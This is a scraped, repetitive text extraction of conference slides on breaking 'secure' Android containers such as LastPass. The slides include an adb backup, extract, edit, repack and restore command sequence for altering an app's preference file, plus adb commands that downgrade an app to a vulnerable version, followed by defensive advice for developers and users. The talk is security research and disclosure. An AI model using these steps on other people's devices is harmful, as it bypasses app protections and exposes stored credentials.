  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 155: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 156: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 157: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
